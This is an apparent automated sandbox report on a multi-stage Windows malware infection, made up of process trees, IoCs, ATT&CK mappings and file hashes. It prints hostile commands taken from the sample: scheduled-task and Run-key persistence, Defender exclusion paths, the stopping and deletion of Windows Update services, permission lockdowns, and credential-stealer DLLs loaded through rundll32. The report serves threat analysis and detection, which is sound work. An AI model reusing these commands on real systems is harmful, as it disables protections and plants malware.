PID 3816 wrote to memory of 4924	3816	cmd.exe	84
PID 3816 wrote to memory of 4276	3816	cmd.exe	85
PID 3816 wrote to memory of 4276	3816	cmd.exe	85
PID 3816 wrote to memory of 4276	3816	cmd.exe	85
PID 3816 wrote to memory of 4988	3816	cmd.exe	86
PID 3816 wrote to memory of 4988	3816	cmd.exe	86
PID 3816 wrote to memory of 4988	3816	cmd.exe	86
PID 3816 wrote to memory of 4956	3816	cmd.exe	87
PID 3816 wrote to memory of 4956	3816	cmd.exe	87
PID 3816 wrote to memory of 4956	3816	cmd.exe	87
PID 3200 wrote to memory of 3360	3200	Explorer.EXE	88
PID 3200 wrote to memory of 3360	3200	Explorer.EXE	88
PID 3200 wrote to memory of 3360	3200	Explorer.EXE	88
PID 3360 wrote to memory of 3380	3360	554.exe	89
PID 3360 wrote to memory of 3380	3360	554.exe	89
PID 3360 wrote to memory of 3380	3360	554.exe	89
PID 3200 wrote to memory of 3244	3200	Explorer.EXE	90
PID 3200 wrote to memory of 3244	3200	Explorer.EXE	90
PID 3200 wrote to memory of 3244	3200	Explorer.EXE	90
PID 3244 wrote to memory of 1056	3244	9AB.exe	92
PID 3244 wrote to memory of 1056	3244	9AB.exe	92
PID 3244 wrote to memory of 1056	3244	9AB.exe	92
PID 3244 wrote to memory of 1056	3244	9AB.exe	92
PID 3244 wrote to memory of 1056	3244	9AB.exe	92
PID 3244 wrote to memory of 1056	3244	9AB.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Deletes itself
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3200
- C:\Users\Admin\AppData\Local\Temp\b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5.exe
  "C:\Users\Admin\AppData\Local\Temp\b1b014d8c81723e8285abbf170aca64dd601ee8980e6bba866b214425cd53af5.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:3724
- C:\Users\Admin\AppData\Local\Temp\CA2B.exe
  C:\Users\Admin\AppData\Local\Temp\CA2B.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1020
- C:\Users\Admin\AppData\Local\Temp\CBC2.exe
  C:\Users\Admin\AppData\Local\Temp\CBC2.exe
  2⤵
  - Executes dropped EXE
  PID:2504
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 480
    3⤵
    - Program crash
    PID:4748
- C:\Users\Admin\AppData\Local\Temp\E297.exe
  C:\Users\Admin\AppData\Local\Temp\E297.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1124
- C:\Users\Admin\AppData\Local\Temp\E43D.exe
  C:\Users\Admin\AppData\Local\Temp\E43D.exe
  2⤵
  - Executes dropped EXE
  PID:4440
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 204
    3⤵
    - Program crash
    PID:3612
- C:\Users\Admin\AppData\Local\Temp\F98C.exe
  C:\Users\Admin\AppData\Local\Temp\F98C.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2652
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4808
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:3392
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3816
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        6⤵
        
        PID:4952
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:4944
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        6⤵
        
        PID:4924
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:4276
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:N"
        6⤵
        
        PID:4988
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:R" /E
        6⤵
        
        PID:4956
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:2108
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:2516
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2516 -s 600
        7⤵
        Program crash
        
        PID:5008
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:3924
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:4368
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:3220
- C:\Users\Admin\AppData\Local\Temp\554.exe
  C:\Users\Admin\AppData\Local\Temp\554.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Executes dropped EXE
    PID:3380
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3360 -s 1440
    3⤵
    - Program crash
    PID:640
- C:\Users\Admin\AppData\Local\Temp\9AB.exe
  C:\Users\Admin\AppData\Local\Temp\9AB.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Users\Admin\AppData\Local\Temp\9AB.exe
    C:\Users\Admin\AppData\Local\Temp\9AB.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:1056
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\b100a892-43ee-45d5-af28-9cceef8f293d" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:2044
  - - C:\Users\Admin\AppData\Local\Temp\9AB.exe
      "C:\Users\Admin\AppData\Local\Temp\9AB.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:96
    - - C:\Users\Admin\AppData\Local\Temp\9AB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\9AB.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Executes dropped EXE
        
        PID:1472
      - C:\Users\Admin\AppData\Local\43754e11-0d61-4580-982c-3dbc3dd96bd6\build3.exe
        
        "C:\Users\Admin\AppData\Local\43754e11-0d61-4580-982c-3dbc3dd96bd6\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3724
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4124
- C:\Users\Admin\AppData\Local\Temp\3C25.exe
  C:\Users\Admin\AppData\Local\Temp\3C25.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2100
- C:\Users\Admin\AppData\Local\Temp\64CD.exe
  C:\Users\Admin\AppData\Local\Temp\64CD.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:904
- - C:\Windows\system32\dllhost.exe
    "C:\Windows\system32\dllhost.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - outlook_office_path
    - outlook_win_path
    PID:3792
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:2456
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1852
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:2988
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:2320
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4024
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3668
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4120
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:4508
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1580
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4352
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4256
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4988
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3920
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1396
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2344
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1412
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1172
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2128
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3884
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4328
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5008
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4992
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:500
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:4028
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:3800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5024
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:1392
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1412
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3664
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:592
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:628
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4928
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4304
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1400
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:2380
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:8
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3320
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:5072
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:300
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:676
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:784
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:744
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "744" "2448" "2248" "2352" "0" "0" "2400" "0" "0" "0" "0" "0"
    3⤵
    PID:4452
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zuhwtyqtfkk
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  PID:4812
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2560
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:4732
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4256
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
  2⤵
  - Modifies data under HKEY_USERS
  PID:2008

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:3804

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:1396

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4216
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:5052

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

Impair Defenses

Modify Registry

Web Service

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Program Files\Notepad\Chrome\updater.exe

Filesize
3.7MB

MD5
3006b49f3a30a80bb85074c279acc7df

SHA1
728a7a867d13ad0034c29283939d94f0df6c19df

SHA256
f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

SHA512
e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

Download Submit
C:\Program Files\Notepad\Chrome\updater.exe

Filesize
3.7MB

MD5
3006b49f3a30a80bb85074c279acc7df

SHA1
728a7a867d13ad0034c29283939d94f0df6c19df

SHA256
f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

SHA512
e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D

Filesize
2KB

MD5
e5b1cc0ae5af6a8277d75cff4af2c5e8

SHA1
4768fff3d4bbe02f89683b4a0e7b15b24b54eb9f

SHA256
d950c0d748aae641d71b11cd1c519b289917c23bee1a2b6bc5c496fd8e5d4655

SHA512
57a4737deeefac0124d73b52525993fecbbebd21a556ece87f8e79e845e07f037abb5e49f7458e8a010935c6691f18fbb913d77ecfb2ba902067788c483ec3d7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E

Filesize
1KB

MD5
3adac03b181d7980568dda0da0efc9de

SHA1
a283c4c9bd26a65b8240d21708e57f5946778341

SHA256
24c4973ced938b77d9670ac79eb76cd52411b17ab59ec78ba14c1b433f342933

SHA512
6fbd2a32fc18606628ea56311764cd879a1196405dddd4d269ad6163b2ffdcf916786f1c0328f27ec089be5cb9b4ecb3542363f4dfb3df1c1b91a0e038b67241

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D

Filesize
488B

MD5
05f0b27853e93aad77b9be162d0a3484

SHA1
7cff6abd97d3db13aecea60137f84b49a2947b42

SHA256
4a95f8faa2cc7312d22184be06bd9ea027ae79f4fdabbf3457ac4172a3a16add

SHA512
63c0c2f3c3fafc9c3251feb4ee3350dc7b4985ab9bf2bfa2e6d83ed00d381617b49360ac81edc98339b0be5247b5b7953c4c792e93193c10b4da23f5d478e115

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E

Filesize
482B

MD5
25ac9c7dfe6c59c8dbc7b526e195ad54

SHA1
4df13f2e06e91943de6641241609798daf63fb89

SHA256
cbddef6bc5caf6cffad8a8c1f6c6f8aeb57be96845fa52650066e78f3508df64

SHA512
711e00f6e797210c593682fe6345dd4db31981963c8b6292a4a4bc9378ef6c36138ee1121338709749f89198ba3d619147b43d1c33a80818e1f501d9eed81b7b

Download Submit
C:\Users\Admin\AppData\Local\43754e11-0d61-4580-982c-3dbc3dd96bd6\build3.exe

Filesize
9KB

MD5
9ead10c08e72ae41921191f8db39bc16

SHA1
abe3bce01cd34afc88e2c838173f8c2bd0090ae1

SHA256
8d7f0e6b6877bdfb9f4531afafd0451f7d17f0ac24e2f2427e9b4ecc5452b9f0

SHA512
aa35dbc59a3589df2763e76a495ce5a9e62196628b4c1d098add38bd7f27c49edf93a66fb8507fb746e37ee32932da2460e440f241abe1a5a279abcc1e5ffe4a

Download Submit
C:\Users\Admin\AppData\Local\43754e11-0d61-4580-982c-3dbc3dd96bd6\build3.exe

Filesize
9KB

MD5
9ead10c08e72ae41921191f8db39bc16

SHA1
abe3bce01cd34afc88e2c838173f8c2bd0090ae1

SHA256
8d7f0e6b6877bdfb9f4531afafd0451f7d17f0ac24e2f2427e9b4ecc5452b9f0

SHA512
aa35dbc59a3589df2763e76a495ce5a9e62196628b4c1d098add38bd7f27c49edf93a66fb8507fb746e37ee32932da2460e440f241abe1a5a279abcc1e5ffe4a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\KIQVE9IA\bimage[5].jpg

Filesize
1.4MB

MD5
d8b9bca48844ba0a0a2f3a32fd6647d5

SHA1
7f07c0b0ac19ee637a01919da3f33cb34ed6fc97

SHA256
e3e8f6043e3937fb97fa76e1dedd22a29770d2f89173840d73f43a7b3657640a

SHA512
609ccd1a39477e0baaaedff6693952b18136e8adf31cf10975ab35c898ece870d1a3ee000d7d09d577ebbfb8243a404aa7e6bc81cdf947e6738f7626813a4ccf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9e024ea36775f4cf41345b979ff114db

SHA1
